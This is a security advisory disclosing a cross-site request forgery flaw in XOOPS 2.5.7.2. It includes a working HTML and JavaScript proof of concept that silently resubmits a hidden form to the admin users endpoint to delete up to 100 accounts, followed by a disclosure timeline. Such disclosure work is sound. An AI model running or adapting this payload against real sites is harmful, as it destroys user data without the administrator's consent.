XOOPS 2.5.7.2 Cross Site Request Forgery

`[+] Credits: John Page aka hyp3rlinx   
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/XOOPS-CSRF.txt  
  
  
  
Vendor:  
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xoops.org  
  
  
  
Product:  
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Xoops 2.5.7.2  
  
  
  
Vulnerability Type:  
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CSRF - Arbitrary User Deletions  
  
  
  
Vulnerability Details:  
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Xoops 2.5.7.2 has CSRF vulnerability where remote attackers can delete ALL users from the Xoops database.  
  
  
References:  
http://xoops.org/modules/news/article.php?storyid=6757  
  
  
Exploit Codes:  
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Following CSRF attack delete all users from database, following POC code will sequentially delete 100 users from the Xoops application.  
  
<iframe name="ifrm" style="display:none" name="hidden-form"></iframe>  
  
<form target="ifrm" name='memberslist' id='CSRF' action='http://localhost/xoops-2.5.7.2/htdocs/modules/system/admin.php?fct=users' method='POST'>  
<input type="hidden" id="ids" name="memberslist_id[]" />   
<input type="hidden" name="fct" value="users" />  
<input type="hidden" name="edit_group" value="" />  
<input type="hidden" name="selgroups" value="" />  
<input type="hidden" name="op" value="users_add_delete_group" />  
<input type="hidden" name="op" value="action_group" />  
<input type="hidden" name="Submit" value="Submit+Query" />  
</form>  
  
<script>  
var c=-1  
var amttodelete=100  
var id=document.getElementById("ids")  
var frm=document.getElementById("CSRF")  
function doit(){  
c++  
arguments[1].value=c  
arguments[0].submit()  
if(c>=amttodelete){  
clearInterval(si)  
alert("Done!")  
}  
}  
var si=setInterval(doit, 1000, frm, id)  
</script>  
  
  
  
  
Disclosure Date:  
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Jan 29, 2016: Vendor Notification  
Vendor confirms and patches Xoops  
March 17, 2016 : Public Disclosure  
  
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[+] Disclaimer  
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The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (c) hyp3rlinx.  
  
hyp3rlinx  
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